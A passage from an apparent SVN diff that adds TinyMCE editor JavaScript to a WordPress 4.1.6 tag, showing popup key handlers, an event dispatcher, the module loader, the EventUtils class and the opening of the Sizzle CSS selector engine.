+		} else {
+			t.uiWindow.getEl('head').firstChild.innerText = document.title;
+		}
+	},
+
+	_accessHandler : function(e) {
+		e = e || window.event;
+
+		if (e.keyCode == 13 || e.keyCode == 32) {
+			var elm = e.target || e.srcElement;
+
+			if (elm.onchange) {
+				elm.onchange();
+			}
+
+			return tinymce.dom.Event.cancel(e);
+		}
+	},
+
+	_closeWinKeyHandler : function(e) {
+		e = e || window.event;
+
+		if (e.keyCode == 27) {
+			tinyMCEPopup.close();
+		}
+	},
+
+	_eventProxy: function(id) {
+		return function(evt) {
+			tinyMCEPopup.dom.events.callNativeHandler(id, evt);
+		};
+	}
+};
+
+tinyMCEPopup.init();
+
+tinymce.util.Dispatcher = function(scope) {
+	this.scope = scope || this;
+	this.listeners = [];
+
+	this.add = function(callback, scope) {
+		this.listeners.push({cb : callback, scope : scope || this.scope});
+
+		return callback;
+	};
+
+	this.addToTop = function(callback, scope) {
+		var self = this, listener = {cb : callback, scope : scope || self.scope};
+
+		// Create new listeners if addToTop is executed in a dispatch loop
+		if (self.inDispatch) {
+			self.listeners = [listener].concat(self.listeners);
+		} else {
+			self.listeners.unshift(listener);
+		}
+
+		return callback;
+	};
+
+	this.remove = function(callback) {
+		var listeners = this.listeners, output = null;
+
+		tinymce.each(listeners, function(listener, i) {
+			if (callback == listener.cb) {
+				output = listener;
+				listeners.splice(i, 1);
+				return false;
+			}
+		});
+
+		return output;
+	};
+
+	this.dispatch = function() {
+		var self = this, returnValue, args = arguments, i, listeners = self.listeners, listener;
+
+		self.inDispatch = true;
+		
+		// Needs to be a real loop since the listener count might change while looping
+		// And this is also more efficient
+		for (i = 0; i < listeners.length; i++) {
+			listener = listeners[i];
+			returnValue = listener.cb.apply(listener.scope, args.length > 0 ? args : [listener.scope]);
+
+			if (returnValue === false) {
+				break;
+			}
+		}
+
+		self.inDispatch = false;
+
+		return returnValue;
+	};
+};
Index: /tags/4.1.6/src/wp-includes/js/tinymce/tinymce.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/tinymce.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/tinymce.js	(revision 33402)
@@ -0,0 +1,37640 @@
+// 4.1.7 (2014-11-27)
+
+/**
+ * Compiled inline version. (Library mode)
+ */
+
+/*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */
+/*globals $code */
+
+(function(exports, undefined) {
+	"use strict";
+
+	var modules = {};
+
+	function require(ids, callback) {
+		var module, defs = [];
+
+		for (var i = 0; i < ids.length; ++i) {
+			module = modules[ids[i]] || resolve(ids[i]);
+			if (!module) {
+				throw 'module definition dependecy not found: ' + ids[i];
+			}
+
+			defs.push(module);
+		}
+
+		callback.apply(null, defs);
+	}
+
+	function define(id, dependencies, definition) {
+		if (typeof id !== 'string') {
+			throw 'invalid module definition, module id must be defined and be a string';
+		}
+
+		if (dependencies === undefined) {
+			throw 'invalid module definition, dependencies must be specified';
+		}
+
+		if (definition === undefined) {
+			throw 'invalid module definition, definition function must be specified';
+		}
+
+		require(dependencies, function() {
+			modules[id] = definition.apply(null, arguments);
+		});
+	}
+
+	function defined(id) {
+		return !!modules[id];
+	}
+
+	function resolve(id) {
+		var target = exports;
+		var fragments = id.split(/[.\/]/);
+
+		for (var fi = 0; fi < fragments.length; ++fi) {
+			if (!target[fragments[fi]]) {
+				return;
+			}
+
+			target = target[fragments[fi]];
+		}
+
+		return target;
+	}
+
+	function expose(ids) {
+		for (var i = 0; i < ids.length; i++) {
+			var target = exports;
+			var id = ids[i];
+			var fragments = id.split(/[.\/]/);
+
+			for (var fi = 0; fi < fragments.length - 1; ++fi) {
+				if (target[fragments[fi]] === undefined) {
+					target[fragments[fi]] = {};
+				}
+
+				target = target[fragments[fi]];
+			}
+
+			target[fragments[fragments.length - 1]] = modules[id];
+		}
+	}
+
+// Included from: js/tinymce/classes/dom/EventUtils.js
+
+/**
+ * EventUtils.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*jshint loopfunc:true*/
+/*eslint no-loop-func:0 */
+
+/**
+ * This class wraps the browsers native event logic with more convenient methods.
+ *
+ * @class tinymce.dom.EventUtils
+ */
+define("tinymce/dom/EventUtils", [], function() {
+	"use strict";
+
+	var eventExpandoPrefix = "mce-data-";
+	var mouseEventRe = /^(?:mouse|contextmenu)|click/;
+	var deprecated = {keyLocation: 1, layerX: 1, layerY: 1, returnValue: 1};
+
+	/**
+	 * Binds a native event to a callback on the speified target.
+	 */
+	function addEvent(target, name, callback, capture) {
+		if (target.addEventListener) {
+			target.addEventListener(name, callback, capture || false);
+		} else if (target.attachEvent) {
+			target.attachEvent('on' + name, callback);
+		}
+	}
+
+	/**
+	 * Unbinds a native event callback on the specified target.
+	 */
+	function removeEvent(target, name, callback, capture) {
+		if (target.removeEventListener) {
+			target.removeEventListener(name, callback, capture || false);
+		} else if (target.detachEvent) {
+			target.detachEvent('on' + name, callback);
+		}
+	}
+
+	/**
+	 * Normalizes a native event object or just adds the event specific methods on a custom event.
+	 */
+	function fix(originalEvent, data) {
+		var name, event = data || {}, undef;
+
+		// Dummy function that gets replaced on the delegation state functions
+		function returnFalse() {
+			return false;
+		}
+
+		// Dummy function that gets replaced on the delegation state functions
+		function returnTrue() {
+			return true;
+		}
+
+		// Copy all properties from the original event
+		for (name in originalEvent) {
+			// layerX/layerY is deprecated in Chrome and produces a warning
+			if (!deprecated[name]) {
+				event[name] = originalEvent[name];
+			}
+		}
+
+		// Normalize target IE uses srcElement
+		if (!event.target) {
+			event.target = event.srcElement || document;
+		}
+
+		// Calculate pageX/Y if missing and clientX/Y available
+		if (originalEvent && mouseEventRe.test(originalEvent.type) && originalEvent.pageX === undef && originalEvent.clientX !== undef) {
+			var eventDoc = event.target.ownerDocument || document;
+			var doc = eventDoc.documentElement;
+			var body = eventDoc.body;
+
+			event.pageX = originalEvent.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) -
+				(doc && doc.clientLeft || body && body.clientLeft || 0);
+
+			event.pageY = originalEvent.clientY + (doc && doc.scrollTop  || body && body.scrollTop  || 0) -
+				(doc && doc.clientTop  || body && body.clientTop  || 0);
+		}
+
+		// Add preventDefault method
+		event.preventDefault = function() {
+			event.isDefaultPrevented = returnTrue;
+
+			// Execute preventDefault on the original event object
+			if (originalEvent) {
+				if (originalEvent.preventDefault) {
+					originalEvent.preventDefault();
+				} else {
+					originalEvent.returnValue = false; // IE
+				}
+			}
+		};
+
+		// Add stopPropagation
+		event.stopPropagation = function() {
+			event.isPropagationStopped = returnTrue;
+
+			// Execute stopPropagation on the original event object
+			if (originalEvent) {
+				if (originalEvent.stopPropagation) {
+					originalEvent.stopPropagation();
+				} else {
+					originalEvent.cancelBubble = true; // IE
+				}
+			}
+		};
+
+		// Add stopImmediatePropagation
+		event.stopImmediatePropagation = function() {
+			event.isImmediatePropagationStopped = returnTrue;
+			event.stopPropagation();
+		};
+
+		// Add event delegation states
+		if (!event.isDefaultPrevented) {
+			event.isDefaultPrevented = returnFalse;
+			event.isPropagationStopped = returnFalse;
+			event.isImmediatePropagationStopped = returnFalse;
+		}
+
+		return event;
+	}
+
+	/**
+	 * Bind a DOMContentLoaded event across browsers and executes the callback once the page DOM is initialized.
+	 * It will also set/check the domLoaded state of the event_utils instance so ready isn't called multiple times.
+	 */
+	function bindOnReady(win, callback, eventUtils) {
+		var doc = win.document, event = {type: 'ready'};
+
+		if (eventUtils.domLoaded) {
+			callback(event);
+			return;
+		}
+
+		// Gets called when the DOM is ready
+		function readyHandler() {
+			if (!eventUtils.domLoaded) {
+				eventUtils.domLoaded = true;
+				callback(event);
+			}
+		}
+
+		function waitForDomLoaded() {
+			// Check complete or interactive state if there is a body
+			// element on some iframes IE 8 will produce a null body
+			if (doc.readyState === "complete" || (doc.readyState === "interactive" && doc.body)) {
+				removeEvent(doc, "readystatechange", waitForDomLoaded);
+				readyHandler();
+			}
+		}
+
+		function tryScroll() {
+			try {
+				// If IE is used, use the trick by Diego Perini licensed under MIT by request to the author.
+				// http://javascript.nwbox.com/IEContentLoaded/
+				doc.documentElement.doScroll("left");
+			} catch (ex) {
+				setTimeout(tryScroll, 0);
+				return;
+			}
+
+			readyHandler();
+		}
+
+		// Use W3C method
+		if (doc.addEventListener) {
+			if (doc.readyState === "complete") {
+				readyHandler();
+			} else {
+				addEvent(win, 'DOMContentLoaded', readyHandler);
+			}
+		} else {
+			// Use IE method
+			addEvent(doc, "readystatechange", waitForDomLoaded);
+
+			// Wait until we can scroll, when we can the DOM is initialized
+			if (doc.documentElement.doScroll && win.self === win.top) {
+				tryScroll();
+			}
+		}
+
+		// Fallback if any of the above methods should fail for some odd reason
+		addEvent(win, 'load', readyHandler);
+	}
+
+	/**
+	 * This class enables you to bind/unbind native events to elements and normalize it's behavior across browsers.
+	 */
+	function EventUtils() {
+		var self = this, events = {}, count, expando, hasFocusIn, hasMouseEnterLeave, mouseEnterLeave;
+
+		expando = eventExpandoPrefix + (+new Date()).toString(32);
+		hasMouseEnterLeave = "onmouseenter" in document.documentElement;
+		hasFocusIn = "onfocusin" in document.documentElement;
+		mouseEnterLeave = {mouseenter: 'mouseover', mouseleave: 'mouseout'};
+		count = 1;
+
+		// State if the DOMContentLoaded was executed or not
+		self.domLoaded = false;
+		self.events = events;
+
+		/**
+		 * Executes all event handler callbacks for a specific event.
+		 *
+		 * @private
+		 * @param {Event} evt Event object.
+		 * @param {String} id Expando id value to look for.
+		 */
+		function executeHandlers(evt, id) {
+			var callbackList, i, l, callback, container = events[id];
+
+			callbackList = container && container[evt.type];
+			if (callbackList) {
+				for (i = 0, l = callbackList.length; i < l; i++) {
+					callback = callbackList[i];
+
+					// Check if callback exists might be removed if a unbind is called inside the callback
+					if (callback && callback.func.call(callback.scope, evt) === false) {
+						evt.preventDefault();
+					}
+
+					// Should we stop propagation to immediate listeners
+					if (evt.isImmediatePropagationStopped()) {
+						return;
+					}
+				}
+			}
+		}
+
+		/**
+		 * Binds a callback to an event on the specified target.
+		 *
+		 * @method bind
+		 * @param {Object} target Target node/window or custom object.
+		 * @param {String} names Name of the event to bind.
+		 * @param {function} callback Callback function to execute when the event occurs.
+		 * @param {Object} scope Scope to call the callback function on, defaults to target.
+		 * @return {function} Callback function that got bound.
+		 */
+		self.bind = function(target, names, callback, scope) {
+			var id, callbackList, i, name, fakeName, nativeHandler, capture, win = window;
+
+			// Native event handler function patches the event and executes the callbacks for the expando
+			function defaultNativeHandler(evt) {
+				executeHandlers(fix(evt || win.event), id);
+			}
+
+			// Don't bind to text nodes or comments
+			if (!target || target.nodeType === 3 || target.nodeType === 8) {
+				return;
+			}
+
+			// Create or get events id for the target
+			if (!target[expando]) {
+				id = count++;
+				target[expando] = id;
+				events[id] = {};
+			} else {
+				id = target[expando];
+			}
+
+			// Setup the specified scope or use the target as a default
+			scope = scope || target;
+
+			// Split names and bind each event, enables you to bind multiple events with one call
+			names = names.split(' ');
+			i = names.length;
+			while (i--) {
+				name = names[i];
+				nativeHandler = defaultNativeHandler;
+				fakeName = capture = false;
+
+				// Use ready instead of DOMContentLoaded
+				if (name === "DOMContentLoaded") {
+					name = "ready";
+				}
+
+				// DOM is already ready
+				if (self.domLoaded && name === "ready" && target.readyState == 'complete') {
+					callback.call(scope, fix({type: name}));
+					continue;
+				}
+
+				// Handle mouseenter/mouseleaver
+				if (!hasMouseEnterLeave) {
+					fakeName = mouseEnterLeave[name];
+
+					if (fakeName) {
+						nativeHandler = function(evt) {
+							var current, related;
+
+							current = evt.currentTarget;
+							related = evt.relatedTarget;
+
+							// Check if related is inside the current target if it's not then the event should
+							// be ignored since it's a mouseover/mouseout inside the element
+							if (related && current.contains) {
+								// Use contains for performance
+								related = current.contains(related);
+							} else {
+								while (related && related !== current) {
+									related = related.parentNode;
+								}
+							}
+
+							// Fire fake event
+							if (!related) {
+								evt = fix(evt || win.event);
+								evt.type = evt.type === 'mouseout' ? 'mouseleave' : 'mouseenter';
+								evt.target = current;
+								executeHandlers(evt, id);
+							}
+						};
+					}
+				}
+
+				// Fake bubbeling of focusin/focusout
+				if (!hasFocusIn && (name === "focusin" || name === "focusout")) {
+					capture = true;
+					fakeName = name === "focusin" ? "focus" : "blur";
+					nativeHandler = function(evt) {
+						evt = fix(evt || win.event);
+						evt.type = evt.type === 'focus' ? 'focusin' : 'focusout';
+						executeHandlers(evt, id);
+					};
+				}
+
+				// Setup callback list and bind native event
+				callbackList = events[id][name];
+				if (!callbackList) {
+					events[id][name] = callbackList = [{func: callback, scope: scope}];
+					callbackList.fakeName = fakeName;
+					callbackList.capture = capture;
+					//callbackList.callback = callback;
+
+					// Add the nativeHandler to the callback list so that we can later unbind it
+					callbackList.nativeHandler = nativeHandler;
+
+					// Check if the target has native events support
+
+					if (name === "ready") {
+						bindOnReady(target, nativeHandler, self);
+					} else {
+						addEvent(target, fakeName || name, nativeHandler, capture);
+					}
+				} else {
+					if (name === "ready" && self.domLoaded) {
+						callback({type: name});
+					} else {
+						// If it already has an native handler then just push the callback
+						callbackList.push({func: callback, scope: scope});
+					}
+				}
+			}
+
+			target = callbackList = 0; // Clean memory for IE
+
+			return callback;
+		};
+
+		/**
+		 * Unbinds the specified event by name, name and callback or all events on the target.
+		 *
+		 * @method unbind
+		 * @param {Object} target Target node/window or custom object.
+		 * @param {String} names Optional event name to unbind.
+		 * @param {function} callback Optional callback function to unbind.
+		 * @return {EventUtils} Event utils instance.
+		 */
+		self.unbind = function(target, names, callback) {
+			var id, callbackList, i, ci, name, eventMap;
+
+			// Don't bind to text nodes or comments
+			if (!target || target.nodeType === 3 || target.nodeType === 8) {
+				return self;
+			}
+
+			// Unbind event or events if the target has the expando
+			id = target[expando];
+			if (id) {
+				eventMap = events[id];
+
+				// Specific callback
+				if (names) {
+					names = names.split(' ');
+					i = names.length;
+					while (i--) {
+						name = names[i];
+						callbackList = eventMap[name];
+
+						// Unbind the event if it exists in the map
+						if (callbackList) {
+							// Remove specified callback
+							if (callback) {
+								ci = callbackList.length;
+								while (ci--) {
+									if (callbackList[ci].func === callback) {
+										var nativeHandler = callbackList.nativeHandler;
+										var fakeName = callbackList.fakeName, capture = callbackList.capture;
+
+										// Clone callbackList since unbind inside a callback would otherwise break the handlers loop
+										callbackList = callbackList.slice(0, ci).concat(callbackList.slice(ci + 1));
+										callbackList.nativeHandler = nativeHandler;
+										callbackList.fakeName = fakeName;
+										callbackList.capture = capture;
+
+										eventMap[name] = callbackList;
+									}
+								}
+							}
+
+							// Remove all callbacks if there isn't a specified callback or there is no callbacks left
+							if (!callback || callbackList.length === 0) {
+								delete eventMap[name];
+								removeEvent(target, callbackList.fakeName || name, callbackList.nativeHandler, callbackList.capture);
+							}
+						}
+					}
+				} else {
+					// All events for a specific element
+					for (name in eventMap) {
+						callbackList = eventMap[name];
+						removeEvent(target, callbackList.fakeName || name, callbackList.nativeHandler, callbackList.capture);
+					}
+
+					eventMap = {};
+				}
+
+				// Check if object is empty, if it isn't then we won't remove the expando map
+				for (name in eventMap) {
+					return self;
+				}
+
+				// Delete event object
+				delete events[id];
+
+				// Remove expando from target
+				try {
+					// IE will fail here since it can't delete properties from window
+					delete target[expando];
+				} catch (ex) {
+					// IE will set it to null
+					target[expando] = null;
+				}
+			}
+
+			return self;
+		};
+
+		/**
+		 * Fires the specified event on the specified target.
+		 *
+		 * @method fire
+		 * @param {Object} target Target node/window or custom object.
+		 * @param {String} name Event name to fire.
+		 * @param {Object} args Optional arguments to send to the observers.
+		 * @return {EventUtils} Event utils instance.
+		 */
+		self.fire = function(target, name, args) {
+			var id;
+
+			// Don't bind to text nodes or comments
+			if (!target || target.nodeType === 3 || target.nodeType === 8) {
+				return self;
+			}
+
+			// Build event object by patching the args
+			args = fix(null, args);
+			args.type = name;
+			args.target = target;
+
+			do {
+				// Found an expando that means there is listeners to execute
+				id = target[expando];
+				if (id) {
+					executeHandlers(args, id);
+				}
+
+				// Walk up the DOM
+				target = target.parentNode || target.ownerDocument || target.defaultView || target.parentWindow;
+			} while (target && !args.isPropagationStopped());
+
+			return self;
+		};
+
+		/**
+		 * Removes all bound event listeners for the specified target. This will also remove any bound
+		 * listeners to child nodes within that target.
+		 *
+		 * @method clean
+		 * @param {Object} target Target node/window object.
+		 * @return {EventUtils} Event utils instance.
+		 */
+		self.clean = function(target) {
+			var i, children, unbind = self.unbind;
+
+			// Don't bind to text nodes or comments
+			if (!target || target.nodeType === 3 || target.nodeType === 8) {
+				return self;
+			}
+
+			// Unbind any element on the specificed target
+			if (target[expando]) {
+				unbind(target);
+			}
+
+			// Target doesn't have getElementsByTagName it's probably a window object then use it's document to find the children
+			if (!target.getElementsByTagName) {
+				target = target.document;
+			}
+
+			// Remove events from each child element
+			if (target && target.getElementsByTagName) {
+				unbind(target);
+
+				children = target.getElementsByTagName('*');
+				i = children.length;
+				while (i--) {
+					target = children[i];
+
+					if (target[expando]) {
+						unbind(target);
+					}
+				}
+			}
+
+			return self;
+		};
+
+		/**
+		 * Destroys the event object. Call this on IE to remove memory leaks.
+		 */
+		self.destroy = function() {
+			events = {};
+		};
+
+		// Legacy function for canceling events
+		self.cancel = function(e) {
+			if (e) {
+				e.preventDefault();
+				e.stopImmediatePropagation();
+			}
+
+			return false;
+		};
+	}
+
+	EventUtils.Event = new EventUtils();
+	EventUtils.Event.bind(window, 'ready', function() {});
+
+	return EventUtils;
+});
+
+// Included from: js/tinymce/classes/dom/Sizzle.js
+
+/**
+ * Sizzle.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ *
+ * @ignore-file
+ */
+
+/*jshint bitwise:false, expr:true, noempty:false, sub:true, eqnull:true, latedef:false, maxlen:255 */
+/*eslint dot-notation:0, no-empty:0, no-cond-assign:0, no-unused-expressions:0, new-cap:0 */
+/*eslint no-nested-ternary:0, func-style:0, no-bitwise:0, max-len:0, brace-style:0, no-return-assign:0 */
+
+/**
+ * Sizzle CSS Selector Engine v@VERSION
+ * http://sizzlejs.com/
+ *
+ * Copyright 2008, 2014 jQuery Foundation, Inc. and other contributors
+ * Released under the MIT license
+ * http://jquery.org/license
+ *
+ * Date: @DATE
+ */
+define("tinymce/dom/Sizzle", [], function() {
+var i,
+	support,
+	Expr,
+	getText,
+	isXML,
+	tokenize,
+	compile,
+	select,
+	outermostContext,
+	sortInput,
+	hasDuplicate,
+
+	// Local document vars
+	setDocument,
+	document,
+	docElem,
+	documentIsHTML,
+	rbuggyQSA,
+	rbuggyMatches,
+	matches,
+	contains,
+
+	// Instance-specific data
+	expando = "sizzle" + -(new Date()),
+	preferredDoc = window.document,
+	dirruns = 0,
+	done = 0,
+	classCache = createCache(),
+	tokenCache = createCache(),
+	compilerCache = createCache(),
+	sortOrder = function( a, b ) {
+		if ( a === b ) {
+			hasDuplicate = true;
+		}
+		return 0;
+	},
+
+	// General-purpose constants
+	strundefined = typeof undefined,
+	MAX_NEGATIVE = 1 << 31,
+
+	// Instance methods
+	hasOwn = ({}).hasOwnProperty,
+	arr = [],
+	pop = arr.pop,
+	push_native = arr.push,
+	push = arr.push,
+	slice = arr.slice,
+	// Use a stripped-down indexOf if we can't use a native one
+	indexOf = arr.indexOf || function( elem ) {
+		var i = 0,
+			len = this.length;
+		for ( ; i < len; i++ ) {
+			if ( this[i] === elem ) {
+				return i;
+			}
+		}
+		return -1;
+	},
+
+	booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
+
+	// Regular expressions
+
+	// http://www.w3.org/TR/css3-selectors/#whitespace
+	whitespace = "[\\x20\\t\\r\\n\\f]",
+
+	// http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
+	identifier = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
+
+	// Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors
+	attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace +
+		// Operator (capture 2)
+		"*([*^$|!~]?=)" + whitespace +
+		// "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]"
+		"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace +
+		"*\\]",
+
+	pseudos = ":(" + identifier + ")(?:\\((" +
+		// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:
+		// 1. quoted (capture 3; capture 4 or capture 5)
+		"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" +
+		// 2. simple (capture 6)
+		"((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" +
+		// 3. anything else (capture 2)
+		".*" +
+		")\\)|)",
+
+	// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
+	rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
+
+	rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
+	rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ),
+
+	rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ),
+
+	rpseudo = new RegExp( pseudos ),
+	ridentifier = new RegExp( "^" + identifier + "$" ),
+
+	matchExpr = {
+		"ID": new RegExp( "^#(" + identifier + ")" ),
+		"CLASS": new RegExp( "^\\.(" + identifier + ")" ),
+		"TAG": new RegExp( "^(" + identifier + "|[*])" ),
+		"ATTR": new RegExp( "^" + attributes ),
+		"PSEUDO": new RegExp( "^" + pseudos ),
+		"CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace +
+			"*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
+			"*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
+		"bool": new RegExp( "^(?:" + booleans + ")$", "i" ),
+		// For use in libraries implementing .is()
+		// We use this for POS matching in `select`
+		"needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
+			whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
+	},
+
+	rinputs = /^(?:input|select|textarea|button)$/i,
+	rheader = /^h\d$/i,
+
+	rnative = /^[^{]+\{\s*\[native \w/,
+
+	// Easily-parseable/retrievable ID or TAG or CLASS selectors
+	rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
+
+	rsibling = /[+~]/,
+	rescape = /'|\\/g,
+
+	// CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
+	runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ),
+	funescape = function( _, escaped, escapedWhitespace ) {
+		var high = "0x" + escaped - 0x10000;
+		// NaN means non-codepoint
+		// Support: Firefox<24
+		// Workaround erroneous numeric interpretation of +"0x"
+		return high !== high || escapedWhitespace ?
+			escaped :
+			high < 0 ?
+				// BMP codepoint
+				String.fromCharCode( high + 0x10000 ) :
+				// Supplemental Plane codepoint (surrogate pair)
+				String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
+	};
+
+// Optimize for push.apply( _, NodeList )
+try {
+	push.apply(
+		(arr = slice.call( preferredDoc.childNodes )),
+		preferredDoc.childNodes
+	);
+	// Support: Android<4.0
+	// Detect silently failing push.apply
+	arr[ preferredDoc.childNodes.length ].nodeType;
+} catch ( e ) {
+	push = { apply: arr.length ?
+
+		// Leverage slice if possible
+		function( target, els ) {
+			push_native.apply( target, slice.call(els) );
+		} :
+
+		// Support: IE<9
+		// Otherwise append directly
+		function( target, els ) {
+			var j = target.length,
+				i = 0;
+			// Can't trust NodeList.length
+			while ( (target[j++] = els[i++]) ) {}
+			target.length = j - 1;
+		}
+	};
+}
+
+function Sizzle( selector, context, results, seed ) {
+	var match, elem, m, nodeType,
+		// QSA vars
+		i, groups, old, nid, newContext, newSelector;
+
+	if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {
+		setDocument( context );
+	}
+
+	context = context || document;
+	results = results || [];
+
+	if ( !selector || typeof selector !== "string" ) {
+		return results;
+	}
+
+	if ( (nodeType = context.nodeType) !== 1 && nodeType !== 9 ) {
+		return [];
+	}
+
+	if ( documentIsHTML && !seed ) {
+
+		// Shortcuts
+		if ( (match = rquickExpr.exec( selector )) ) {
+			// Speed-up: Sizzle("#ID")
+			if ( (m = match[1]) ) {
+				if ( nodeType === 9 ) {
+					elem = context.getElementById( m );
+					// Check parentNode to catch when Blackberry 4.6 returns
+					// nodes that are no longer in the document (jQuery #6963)
+					if ( elem && elem.parentNode ) {
+						// Handle the case where IE, Opera, and Webkit return items
+						// by name instead of ID
+						if ( elem.id === m ) {
+							results.push( elem );
+							return results;
+						}
+					} else {
+						return results;
+					}
+				} else {
+					// Context is not a document
+					if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&
+						contains( context, elem ) && elem.id === m ) {
+						results.push( elem );
+						return results;
+					}
+				}
+
+			// Speed-up: Sizzle("TAG")
+			} else if ( match[2] ) {
+				push.apply( results, context.getElementsByTagName( selector ) );
+				return results;
+
+			// Speed-up: Sizzle(".CLASS")
+			} else if ( (m = match[3]) && support.getElementsByClassName ) {
+				push.apply( results, context.getElementsByClassName( m ) );
+				return results;
+			}
+		}
+
+		// QSA path
+		if ( support.qsa && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) {
+			nid = old = expando;
+			newContext = context;
+			newSelector = nodeType === 9 && selector;
+
+			// qSA works strangely on Element-rooted queries
+			// We can work around this by specifying an extra ID on the root
+			// and working up from there (Thanks to Andrew Dupont for the technique)
+			// IE 8 doesn't work on object elements
+			if ( nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
+				groups = tokenize( selector );
+
+				if ( (old = context.getAttribute("id")) ) {
+					nid = old.replace( rescape, "\\$&" );
+				} else {
+					context.setAttribute( "id", nid );
+				}
+				nid = "[id='" + nid + "'] ";
+
+				i = groups.length;
+				while ( i-- ) {
+					groups[i] = nid + toSelector( groups[i] );
+				}
+				newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context;
+				newSelector = groups.join(",");
+			}
+
+			if ( newSelector ) {
+				try {
+					push.apply( results,
+						newContext.querySelectorAll( newSelector )
+					);
+					return results;
+				} catch(qsaError) {
+				} finally {
+					if ( !old ) {
+						context.removeAttribute("id");
+					}
+				}
+			}
+		}
+	}
+
+	// All others
+	return select( selector.replace( rtrim, "$1" ), context, results, seed );
+}
+
+/**
+ * Create key-value caches of limited size
+ * @returns {Function(string, Object)} Returns the Object data after storing it on itself with
+ *	property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
+ *	deleting the oldest entry
+ */
+function createCache() {
+	var keys = [];
+
+	function cache( key, value ) {
+		// Use (key + " ") to avoid collision with native prototype properties (see Issue #157)
+		if ( keys.push( key + " " ) > Expr.cacheLength ) {
+			// Only keep the most recent entries
+			delete cache[ keys.shift() ];
+		}
+		return (cache[ key + " " ] = value);
+	}
+	return cache;
+}
+
+/**
+ * Mark a function for special use by Sizzle
+ * @param {Function} fn The function to mark
+ */
+function markFunction( fn ) {
+	fn[ expando ] = true;
+	return fn;
+}
+
+/**
+ * Support testing using an element
+ * @param {Function} fn Passed the created div and expects a boolean result
+ */
+function assert( fn ) {
+	var div = document.createElement("div");
+
+	try {
+		return !!fn( div );
+	} catch (e) {
+		return false;
+	} finally {
+		// Remove from its parent by default
+		if ( div.parentNode ) {
+			div.parentNode.removeChild( div );
+		}
+		// release memory in IE
+		div = null;
+	}
+}
+
+/**
+ * Adds the same handler for all of the specified attrs
+ * @param {String} attrs Pipe-separated list of attributes
+ * @param {Function} handler The method that will be applied
+ */
+function addHandle( attrs, handler ) {
+	var arr = attrs.split("|"),
+		i = attrs.length;
+
+	while ( i-- ) {
+		Expr.attrHandle[ arr[i] ] = handler;
+	}
+}
+
+/**
+ * Checks document order of two siblings
+ * @param {Element} a
+ * @param {Element} b
+ * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b
+ */
+function siblingCheck( a, b ) {
+	var cur = b && a,
+		diff = cur && a.nodeType === 1 && b.nodeType === 1 &&
+			( ~b.sourceIndex || MAX_NEGATIVE ) -
+			( ~a.sourceIndex || MAX_NEGATIVE );
+
+	// Use IE sourceIndex if available on both nodes
+	if ( diff ) {
+		return diff;
+	}
+
+	// Check if b follows a
+	if ( cur ) {
+		while ( (cur = cur.nextSibling) ) {
+			if ( cur === b ) {
+				return -1;
+			}
+		}
+	}
+
+	return a ? 1 : -1;
+}
+
+/**
+ * Returns a function to use in pseudos for input types
+ * @param {String} type
+ */
+function createInputPseudo( type ) {
+	return function( elem ) {
+		var name = elem.nodeName.toLowerCase();
+		return name === "input" && elem.type === type;
+	};
+}
+
+/**
+ * Returns a function to use in pseudos for buttons
+ * @param {String} type
+ */
+function createButtonPseudo( type ) {
+	return function( elem ) {
+		var name = elem.nodeName.toLowerCase();
+		return (name === "input" || name === "button") && elem.type === type;
+	};
+}
+
+/**
+ * Returns a function to use in pseudos for positionals
+ * @param {Function} fn
+ */
+function createPositionalPseudo( fn ) {
+	return markFunction(function( argument ) {
+		argument = +argument;
+		return markFunction(function( seed, matches ) {
+			var j,
+				matchIndexes = fn( [], seed.length, argument ),
+				i = matchIndexes.length;
+
+			// Match elements found at the specified indexes
+			while ( i-- ) {
